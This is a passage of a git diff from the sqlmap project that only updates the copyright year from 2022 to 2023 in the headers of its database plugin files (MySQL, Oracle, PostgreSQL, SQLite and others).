 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py
index 12c65201767..04a2bdabb1e 100644
--- a/plugins/dbms/mysql/__init__.py
+++ b/plugins/dbms/mysql/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py
index fb7f7a75d43..41590b8d70a 100644
--- a/plugins/dbms/mysql/connector.py
+++ b/plugins/dbms/mysql/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py
index 88046b6927b..8e9d81f7d7d 100644
--- a/plugins/dbms/mysql/enumeration.py
+++ b/plugins/dbms/mysql/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py
index 8dfb5fb7cc5..e72cbcba3db 100644
--- a/plugins/dbms/mysql/filesystem.py
+++ b/plugins/dbms/mysql/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py
index e004ad5ad6e..d1df204e2d9 100644
--- a/plugins/dbms/mysql/fingerprint.py
+++ b/plugins/dbms/mysql/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py
index 25493221a61..57399752c62 100644
--- a/plugins/dbms/mysql/syntax.py
+++ b/plugins/dbms/mysql/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py
index c9343a34610..31033cca4f0 100644
--- a/plugins/dbms/mysql/takeover.py
+++ b/plugins/dbms/mysql/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py
index 548843eee3c..292727d1d57 100644
--- a/plugins/dbms/oracle/__init__.py
+++ b/plugins/dbms/oracle/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py
index 02f4db24fa8..18a70076c0a 100644
--- a/plugins/dbms/oracle/connector.py
+++ b/plugins/dbms/oracle/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py
index eac989b5978..038fe84a71f 100644
--- a/plugins/dbms/oracle/enumeration.py
+++ b/plugins/dbms/oracle/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py
index d4348b3975e..d0df7efac86 100644
--- a/plugins/dbms/oracle/filesystem.py
+++ b/plugins/dbms/oracle/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py
index 5b9061cb5e1..370d4540895 100644
--- a/plugins/dbms/oracle/fingerprint.py
+++ b/plugins/dbms/oracle/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py
index 3c3888d3961..789a59bce6a 100644
--- a/plugins/dbms/oracle/syntax.py
+++ b/plugins/dbms/oracle/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py
index 2b5ddd4c958..44aa5bfd94d 100644
--- a/plugins/dbms/oracle/takeover.py
+++ b/plugins/dbms/oracle/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py
index 8f4344c252b..b27b9463b5d 100644
--- a/plugins/dbms/postgresql/__init__.py
+++ b/plugins/dbms/postgresql/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py
index 2b9b7782991..15a2b48e358 100644
--- a/plugins/dbms/postgresql/connector.py
+++ b/plugins/dbms/postgresql/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py
index 665d7b9398b..f3ced41640b 100644
--- a/plugins/dbms/postgresql/enumeration.py
+++ b/plugins/dbms/postgresql/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py
index 24267367d9b..3f1e0eb364e 100644
--- a/plugins/dbms/postgresql/filesystem.py
+++ b/plugins/dbms/postgresql/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py
index 3cbde60eb2a..3c3f2433e9e 100644
--- a/plugins/dbms/postgresql/fingerprint.py
+++ b/plugins/dbms/postgresql/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py
index d2217fbd95f..face3ba0d64 100644
--- a/plugins/dbms/postgresql/syntax.py
+++ b/plugins/dbms/postgresql/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py
index b4a576a122d..1fa684e4aa7 100644
--- a/plugins/dbms/postgresql/takeover.py
+++ b/plugins/dbms/postgresql/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py
index 23467316371..94c74be1bd1 100644
--- a/plugins/dbms/presto/__init__.py
+++ b/plugins/dbms/presto/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py
index fbd0cf123b1..48473ad0216 100644
--- a/plugins/dbms/presto/connector.py
+++ b/plugins/dbms/presto/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py
index 36b10cc31f5..9dcf092f3bc 100644
--- a/plugins/dbms/presto/enumeration.py
+++ b/plugins/dbms/presto/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py
index eb712e5aba3..67633823884 100644
--- a/plugins/dbms/presto/filesystem.py
+++ b/plugins/dbms/presto/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py
index f93a877f32a..4a531fedb92 100644
--- a/plugins/dbms/presto/fingerprint.py
+++ b/plugins/dbms/presto/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py
index 51d87d21225..b6b6c633dc8 100644
--- a/plugins/dbms/presto/syntax.py
+++ b/plugins/dbms/presto/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py
index 150a8b68bf3..bc0758f42df 100644
--- a/plugins/dbms/presto/takeover.py
+++ b/plugins/dbms/presto/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/__init__.py b/plugins/dbms/raima/__init__.py
index 037c91bbeed..2843bbabc58 100644
--- a/plugins/dbms/raima/__init__.py
+++ b/plugins/dbms/raima/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/connector.py b/plugins/dbms/raima/connector.py
index 4bb5af68889..a095cf8c624 100644
--- a/plugins/dbms/raima/connector.py
+++ b/plugins/dbms/raima/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py
index ac0d73f09db..449dad43cdb 100644
--- a/plugins/dbms/raima/enumeration.py
+++ b/plugins/dbms/raima/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/filesystem.py b/plugins/dbms/raima/filesystem.py
index 3cce1c9aa15..d537b09aca7 100644
--- a/plugins/dbms/raima/filesystem.py
+++ b/plugins/dbms/raima/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py
index 7d5d6a66f77..0ed21dbcd3b 100644
--- a/plugins/dbms/raima/fingerprint.py
+++ b/plugins/dbms/raima/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/syntax.py b/plugins/dbms/raima/syntax.py
index 9bd95ffd2ec..27a7f0ddf58 100644
--- a/plugins/dbms/raima/syntax.py
+++ b/plugins/dbms/raima/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/takeover.py b/plugins/dbms/raima/takeover.py
index 1d42766f9fe..e375ddb7967 100644
--- a/plugins/dbms/raima/takeover.py
+++ b/plugins/dbms/raima/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py
index e2f45b123de..4695462c756 100644
--- a/plugins/dbms/sqlite/__init__.py
+++ b/plugins/dbms/sqlite/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py
index ef5ea1da307..7ec752f7d3b 100644
--- a/plugins/dbms/sqlite/connector.py
+++ b/plugins/dbms/sqlite/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py
index 2e801d7e57e..b5a9176748a 100644
--- a/plugins/dbms/sqlite/enumeration.py
+++ b/plugins/dbms/sqlite/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py
index ae16394b118..3bbb5ef8350 100644
--- a/plugins/dbms/sqlite/filesystem.py
+++ b/plugins/dbms/sqlite/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py
index 24de50c24c1..b57e788d0f6 100644
--- a/plugins/dbms/sqlite/fingerprint.py
+++ b/plugins/dbms/sqlite/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py
index 80ef1546c6d..7e6f4046e6c 100644
--- a/plugins/dbms/sqlite/syntax.py
+++ b/plugins/dbms/sqlite/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py
index 8e8eb4a1ddb..3b96a5c0f4e 100644
--- a/plugins/dbms/sqlite/takeover.py
+++ b/plugins/dbms/sqlite/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py
index 374e533239a..dee9b5c9533 100644
--- a/plugins/dbms/sybase/__init__.py
+++ b/plugins/dbms/sybase/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py
index bc286b7aaf2..1514d32e28e 100644
--- a/plugins/dbms/sybase/connector.py
+++ b/plugins/dbms/sybase/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py
index dda39514ac8..9f254c97727 100644
--- a/plugins/dbms/sybase/enumeration.py
+++ b/plugins/dbms/sybase/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py
index 53ee69cc779..ca60dc49afe 100644
--- a/plugins/dbms/sybase/filesystem.py
+++ b/plugins/dbms/sybase/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py
index c34db380847..c37b8754eb9 100644
--- a/plugins/dbms/sybase/fingerprint.py
+++ b/plugins/dbms/sybase/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py
index 66c0af279d1..1d4b9cf8bf7 100644
--- a/plugins/dbms/sybase/syntax.py
+++ b/plugins/dbms/sybase/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py
index 93935a6e549..931f35a4428 100644
--- a/plugins/dbms/sybase/takeover.py
+++ b/plugins/dbms/sybase/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py
index a857b5f0229..55db33d987d 100644
--- a/plugins/dbms/vertica/__init__.py
+++ b/plugins/dbms/vertica/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py
index 0a41e9698c7..75cf1c1617b 100644
--- a/plugins/dbms/vertica/connector.py
+++ b/plugins/dbms/vertica/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py
index 33dee40436e..fad90676403 100644
--- a/plugins/dbms/vertica/enumeration.py
+++ b/plugins/dbms/vertica/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/vertica/filesystem.py
+++ b/plugins/dbms/vertica/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py
index b4666c6148e..61ae7c78131 100644
--- a/plugins/dbms/vertica/fingerprint.py
+++ b/plugins/dbms/vertica/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py
index 6c78c402665..016cbf724ed 100644
--- a/plugins/dbms/vertica/syntax.py
+++ b/plugins/dbms/vertica/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py
index 2862fe6fac3..d65d717696e 100644
--- a/plugins/dbms/vertica/takeover.py
+++ b/plugins/dbms/vertica/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/__init__.py b/plugins/dbms/virtuoso/__init__.py
index 2e115d437a2..21b2b75fada 100644
--- a/plugins/dbms/virtuoso/__init__.py
+++ b/plugins/dbms/virtuoso/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/connector.py b/plugins/dbms/virtuoso/connector.py
index abc19bac443..60cd174f624 100644
--- a/plugins/dbms/virtuoso/connector.py
+++ b/plugins/dbms/virtuoso/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py
index 0b5eca36df5..a0434fa0d04 100644
--- a/plugins/dbms/virtuoso/enumeration.py
+++ b/plugins/dbms/virtuoso/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/filesystem.py b/plugins/dbms/virtuoso/filesystem.py
index b1b0e890b06..f4ef54e9175 100644
--- a/plugins/dbms/virtuoso/filesystem.py
+++ b/plugins/dbms/virtuoso/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py
index e62c26b7c90..0ed0bd5ddd3 100644
--- a/plugins/dbms/virtuoso/fingerprint.py
+++ b/plugins/dbms/virtuoso/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/syntax.py b/plugins/dbms/virtuoso/syntax.py
index 51d87d21225..b6b6c633dc8 100644
--- a/plugins/dbms/virtuoso/syntax.py
+++ b/plugins/dbms/virtuoso/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/takeover.py b/plugins/dbms/virtuoso/takeover.py
index a82ef964582..6acd165a936 100644
--- a/plugins/dbms/virtuoso/takeover.py
+++ b/plugins/dbms/virtuoso/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
